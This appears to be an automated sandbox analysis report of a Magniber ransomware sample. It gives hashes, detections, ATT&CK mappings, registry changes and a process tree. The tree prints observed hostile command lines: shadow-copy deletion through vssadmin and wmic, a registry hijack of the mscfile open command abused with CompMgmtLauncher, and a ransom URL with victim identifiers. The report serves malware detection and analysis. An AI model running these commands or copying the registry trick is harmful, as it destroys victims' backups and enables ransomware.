magniber | 5023ffe58f1945012086d05f637983928e3e7c16eb5487196096d43b39d151ef

Analysis

max time kernel
120s
max time network
139s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
01-01-2024 15:27

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General

Target

759c06eedcadd60ebd2aa3790eefa40d505044080cea4e1477d845611f322b4c.dll
Size

38KB
MD5

1f837affe14eeee652ae0271f0cb3804
SHA1

5f55dad94a03100542c61777233f7846f9376625
SHA256

759c06eedcadd60ebd2aa3790eefa40d505044080cea4e1477d845611f322b4c
SHA512

a620bbb9b59fa93cff35d95c6c2000226361fcbcb869d4ec300caec97723802516a430d663e26c129b8c42f1ef9c27b90963896ac86207c7193513567850691b
SSDEEP

768:FGcHvpu++E69ZxPGlISQAtxaYzUmFCL+4pO6Dzhc:Fju++E6XxPGlISR5UmoLTO2+

Score

10^/10

magniber ransomware

Malware Config

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral25/memory/2928-1-0x0000000001DF0000-0x0000000002713000-memory.dmp	family_magniber
behavioral25/memory/1260-16-0x00000000003A0000-0x00000000003A5000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 9 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1832	1716	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2288	1716	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1756	1716	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1728	1716	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	900	1716	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2152	1716	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	1716	vssadmin.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2972	1716	cmd.exe	42
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1640	1716	vssadmin.exe	42

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (84) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2928 set thread context of 1260	2928	rundll32.exe	9
PID 2928 set thread context of 1344	2928	rundll32.exe	8
PID 2928 set thread context of 1380	2928	rundll32.exe	7
PID 2928 set thread context of 1876	2928	rundll32.exe	5

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1756	vssadmin.exe
1728	vssadmin.exe
900	vssadmin.exe
208	vssadmin.exe
1640	vssadmin.exe
2696	vssadmin.exe
1860	vssadmin.exe
1832	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000046332ab722508540bf00312f0a24f1200000000002000000000010660000000100002000000083511ded23e631dd07967983e4fb0c0197bdb6e843ced1b4f674e9d48ef7ba75000000000e8000000002000020000000645a463d3507b5e703df4685db2bbc5dbf345f6e5b079cac83b2f6cbe4dd1f749000000050693f0cf36d1a03336ee284e4edbce02a84786e81a6cd5fe341dadd551145aea90f97772976383782b3e02750c75768dd380c3549e9ac41d998b9d9b9550fa5b8bc00b3d6cf6000182fa9cdd40a7750eeb3784e8cba842c55872b53ad88b6695aa85e6d6b8186aa2e2a920447ceaa90c3ffbe5534875608f1f81092833389252d8b135c22c678f5208eedb516e98d2240000000f00358dab28bc46b24623edecf6122ef14813e6dac7f5811c25f77d058b6de3ca97099c0b0aa7d1478c8ec0a604d0a376f75b2ad1b301c409135c7af097794e2	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410284971"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{DD1E0E71-A8BA-11EE-A497-46361BFF2467} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000046332ab722508540bf00312f0a24f12000000000020000000000106600000001000020000000f6468610a89f6fd4eb76ce5de4e341f13afaa8423e90084cd19601dbe6fd556f000000000e80000000020000200000007cb467d4e50a31536d6f1d48f58514363fd56f00f96f96669c4755b73442f6a1200000004c3eb50620d665e4e04733c46e087824f608c8eedc6a751a8f932debe9dfdca1400000006ce6d79b63da1af69c5b65ff44c373e87c768b4825f58b4dd25097d7a8f841aa7aec481ae731a12014c4114a46e9445abce963fbcd292b2dc8ea5144f1894759	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0ecc9b1c73cda01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1228	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2928	rundll32.exe
2928	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2928	rundll32.exe
2928	rundll32.exe
2928	rundll32.exe
2928	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1380	Explorer.EXE
Token: SeShutdownPrivilege	1380	Explorer.EXE
Token: SeShutdownPrivilege	1380	Explorer.EXE
Token: SeShutdownPrivilege	1380	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1124	wmic.exe
Token: SeSecurityPrivilege	1124	wmic.exe
Token: SeTakeOwnershipPrivilege	1124	wmic.exe
Token: SeLoadDriverPrivilege	1124	wmic.exe
Token: SeSystemProfilePrivilege	1124	wmic.exe
Token: SeSystemtimePrivilege	1124	wmic.exe
Token: SeProfSingleProcessPrivilege	1124	wmic.exe
Token: SeIncBasePriorityPrivilege	1124	wmic.exe
Token: SeCreatePagefilePrivilege	1124	wmic.exe
Token: SeBackupPrivilege	1124	wmic.exe
Token: SeRestorePrivilege	1124	wmic.exe
Token: SeShutdownPrivilege	1124	wmic.exe
Token: SeDebugPrivilege	1124	wmic.exe
Token: SeSystemEnvironmentPrivilege	1124	wmic.exe
Token: SeRemoteShutdownPrivilege	1124	wmic.exe
Token: SeUndockPrivilege	1124	wmic.exe
Token: SeManageVolumePrivilege	1124	wmic.exe
Token: 33	1124	wmic.exe
Token: 34	1124	wmic.exe
Token: 35	1124	wmic.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeSecurityPrivilege	1708	WMIC.exe
Token: SeTakeOwnershipPrivilege	1708	WMIC.exe
Token: SeLoadDriverPrivilege	1708	WMIC.exe
Token: SeSystemProfilePrivilege	1708	WMIC.exe
Token: SeSystemtimePrivilege	1708	WMIC.exe
Token: SeProfSingleProcessPrivilege	1708	WMIC.exe
Token: SeIncBasePriorityPrivilege	1708	WMIC.exe
Token: SeCreatePagefilePrivilege	1708	WMIC.exe
Token: SeBackupPrivilege	1708	WMIC.exe
Token: SeRestorePrivilege	1708	WMIC.exe
Token: SeShutdownPrivilege	1708	WMIC.exe
Token: SeDebugPrivilege	1708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1708	WMIC.exe
Token: SeRemoteShutdownPrivilege	1708	WMIC.exe
Token: SeUndockPrivilege	1708	WMIC.exe
Token: SeManageVolumePrivilege	1708	WMIC.exe
Token: 33	1708	WMIC.exe
Token: 34	1708	WMIC.exe
Token: 35	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1124	wmic.exe
Token: SeSecurityPrivilege	1124	wmic.exe
Token: SeTakeOwnershipPrivilege	1124	wmic.exe
Token: SeLoadDriverPrivilege	1124	wmic.exe
Token: SeSystemProfilePrivilege	1124	wmic.exe
Token: SeSystemtimePrivilege	1124	wmic.exe
Token: SeProfSingleProcessPrivilege	1124	wmic.exe
Token: SeIncBasePriorityPrivilege	1124	wmic.exe
Token: SeCreatePagefilePrivilege	1124	wmic.exe
Token: SeBackupPrivilege	1124	wmic.exe
Token: SeRestorePrivilege	1124	wmic.exe
Token: SeShutdownPrivilege	1124	wmic.exe
Token: SeDebugPrivilege	1124	wmic.exe
Token: SeSystemEnvironmentPrivilege	1124	wmic.exe
Token: SeRemoteShutdownPrivilege	1124	wmic.exe
Token: SeUndockPrivilege	1124	wmic.exe
Token: SeManageVolumePrivilege	1124	wmic.exe
Token: 33	1124	wmic.exe
Token: 34	1124	wmic.exe
Token: 35	1124	wmic.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
2236	iexplore.exe
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE
1380	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2236	iexplore.exe
2236	iexplore.exe
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE
2768	IEXPLORE.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1380	Explorer.EXE
1380	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 1228	2928	rundll32.exe	50
PID 2928 wrote to memory of 1228	2928	rundll32.exe	50
PID 2928 wrote to memory of 1228	2928	rundll32.exe	50
PID 2928 wrote to memory of 2064	2928	rundll32.exe	49
PID 2928 wrote to memory of 2064	2928	rundll32.exe	49
PID 2928 wrote to memory of 2064	2928	rundll32.exe	49
PID 2928 wrote to memory of 1124	2928	rundll32.exe	47
PID 2928 wrote to memory of 1124	2928	rundll32.exe	47
PID 2928 wrote to memory of 1124	2928	rundll32.exe	47
PID 2928 wrote to memory of 564	2928	rundll32.exe	46
PID 2928 wrote to memory of 564	2928	rundll32.exe	46
PID 2928 wrote to memory of 564	2928	rundll32.exe	46
PID 564 wrote to memory of 1708	564	cmd.exe	44
PID 564 wrote to memory of 1708	564	cmd.exe	44
PID 564 wrote to memory of 1708	564	cmd.exe	44
PID 2064 wrote to memory of 2236	2064	cmd.exe	43
PID 2064 wrote to memory of 2236	2064	cmd.exe	43
PID 2064 wrote to memory of 2236	2064	cmd.exe	43
PID 1900 wrote to memory of 2772	1900	cmd.exe	36
PID 1900 wrote to memory of 2772	1900	cmd.exe	36
PID 1900 wrote to memory of 2772	1900	cmd.exe	36
PID 2236 wrote to memory of 2768	2236	iexplore.exe	30
PID 2236 wrote to memory of 2768	2236	iexplore.exe	30
PID 2236 wrote to memory of 2768	2236	iexplore.exe	30
PID 2236 wrote to memory of 2768	2236	iexplore.exe	30
PID 2772 wrote to memory of 2964	2772	CompMgmtLauncher.exe	34
PID 2772 wrote to memory of 2964	2772	CompMgmtLauncher.exe	34
PID 2772 wrote to memory of 2964	2772	CompMgmtLauncher.exe	34
PID 1260 wrote to memory of 2560	1260	taskhost.exe	57
PID 1260 wrote to memory of 2560	1260	taskhost.exe	57
PID 1260 wrote to memory of 2560	1260	taskhost.exe	57
PID 1260 wrote to memory of 1448	1260	taskhost.exe	56
PID 1260 wrote to memory of 1448	1260	taskhost.exe	56
PID 1260 wrote to memory of 1448	1260	taskhost.exe	56
PID 1448 wrote to memory of 2432	1448	cmd.exe	67
PID 1448 wrote to memory of 2432	1448	cmd.exe	67
PID 1448 wrote to memory of 2432	1448	cmd.exe	67
PID 2288 wrote to memory of 1676	2288	cmd.exe	58
PID 2288 wrote to memory of 1676	2288	cmd.exe	58
PID 2288 wrote to memory of 1676	2288	cmd.exe	58
PID 1676 wrote to memory of 956	1676	CompMgmtLauncher.exe	62
PID 1676 wrote to memory of 956	1676	CompMgmtLauncher.exe	62
PID 1676 wrote to memory of 956	1676	CompMgmtLauncher.exe	62
PID 1344 wrote to memory of 3064	1344	Dwm.exe	72
PID 1344 wrote to memory of 3064	1344	Dwm.exe	72
PID 1344 wrote to memory of 3064	1344	Dwm.exe	72
PID 1344 wrote to memory of 3044	1344	Dwm.exe	71
PID 1344 wrote to memory of 3044	1344	Dwm.exe	71
PID 1344 wrote to memory of 3044	1344	Dwm.exe	71
PID 3044 wrote to memory of 884	3044	cmd.exe	68
PID 3044 wrote to memory of 884	3044	cmd.exe	68
PID 3044 wrote to memory of 884	3044	cmd.exe	68
PID 2152 wrote to memory of 1960	2152	cmd.exe	73
PID 2152 wrote to memory of 1960	2152	cmd.exe	73
PID 2152 wrote to memory of 1960	2152	cmd.exe	73
PID 1960 wrote to memory of 2644	1960	CompMgmtLauncher.exe	78
PID 1960 wrote to memory of 2644	1960	CompMgmtLauncher.exe	78
PID 1960 wrote to memory of 2644	1960	CompMgmtLauncher.exe	78
PID 1380 wrote to memory of 2468	1380	Explorer.EXE	85
PID 1380 wrote to memory of 2468	1380	Explorer.EXE	85
PID 1380 wrote to memory of 2468	1380	Explorer.EXE	85
PID 1380 wrote to memory of 2580	1380	Explorer.EXE	84
PID 1380 wrote to memory of 2580	1380	Explorer.EXE	84
PID 1380 wrote to memory of 2580	1380	Explorer.EXE	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\759c06eedcadd60ebd2aa3790eefa40d505044080cea4e1477d845611f322b4c.dll,#1
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\system32\cmd.exe
  cmd /c "start http://5c5cf6f870b88a5024upywsch.uscatch.club/upywsch^&2^&33016245^&84^&369^&12"?
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt?
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1228

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1876

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2580
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1576
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2468

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3064

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2432
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2560

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2504

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2236 CREDAT:275457 /prefetch:2
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2768

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2696

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
1⤵
PID:2964

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1860

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1900

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://5c5cf6f870b88a5024upywsch.uscatch.club/upywsch&2&33016245&84&369&12?
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1708

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:956

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1832

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1756

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
1⤵
PID:884

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2644

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1728

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:900

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2152

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
1⤵
PID:2168
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1476

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:208

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2972

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
914B

MD5
e4a68ac854ac5242460afd72481b2a44

SHA1
df3c24f9bfd666761b268073fe06d1cc8d4f82a4

SHA256
cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

SHA512
5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
